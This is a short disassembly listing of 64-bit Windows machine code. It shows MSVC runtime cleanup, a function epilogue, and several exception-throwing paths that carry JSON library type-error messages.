cmp rdx, 0xf
jbe 0x1400092a4
inc rdx
mov rcx, qword [rbp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000929f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000929f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005c69c
mov rcx, qword [rbp + 0x300]
xor rcx, rsp
call fcn.14005c2e0
lea r11, [rsp + 0x410]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x30]
call fcn.14000fbb0
mov qword [rbp + 0x60], rax
lea r8, [rbp + 0x60]
lea rdx, str.cannot_use_operator___with_a_string_argument_with
lea rcx, [rbp - 0x50]
call fcn.140010250
nop
lea r9, [rbp + 0x30]
mov r8, rax
mov edx, 0x131
lea rcx, [rsp + 0x78]
call fcn.14000ef70
lea rdx, [0x14007bb78]
lea rcx, [rsp + 0x78]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.140001570
nop
call fcn.14000d660
nop
lea rcx, [rbx + 0x40]
call fcn.14000fbb0
mov qword [rbp + 0x60], rax
lea r8, [rbp + 0x60]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp + 8]
call fcn.140010250
nop
lea r9, [rbx + 0x40]
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp - 0x30]
call fcn.14000ef70
lea rdx, [0x14007bb78]
lea rcx, [rbp - 0x30]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.140007a60
int3
call fcn.140001610
nop
lea rcx, [rbp + 0x30]
call fcn.14000fbb0
mov qword [rbp + 0x60], rax
lea r8, [rbp + 0x60]
lea rdx, str.cannot_use_operator___with_a_string_argument_with
lea rcx, [rbp - 0x50]
call fcn.140010250
nop
lea r9, [rbp + 0x30]
mov r8, rax
mov edx, 0x131
lea rcx, [rsp + 0x78]
call fcn.14000ef70
lea rdx, [0x14007bb78]
lea rcx, [rsp + 0x78]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rcx, [rbp + 0x30]
call fcn.14000fbb0
mov qword [rbp + 0x60], rax
lea r8, [rbp + 0x60]
lea rdx, str.cannot_use_operator___with_a_string_argument_with
lea rcx, [rbp - 0x50]
call fcn.140010250
nop
lea r9, [rbp + 0x30]
mov r8, rax
mov edx, 0x131
lea rcx, [rsp + 0x78]
call fcn.14000ef70
lea rdx, [0x14007bb78]
lea rcx, [rsp + 0x78]
call sub.VCRUNTIME140.dll__CxxThrowException
int3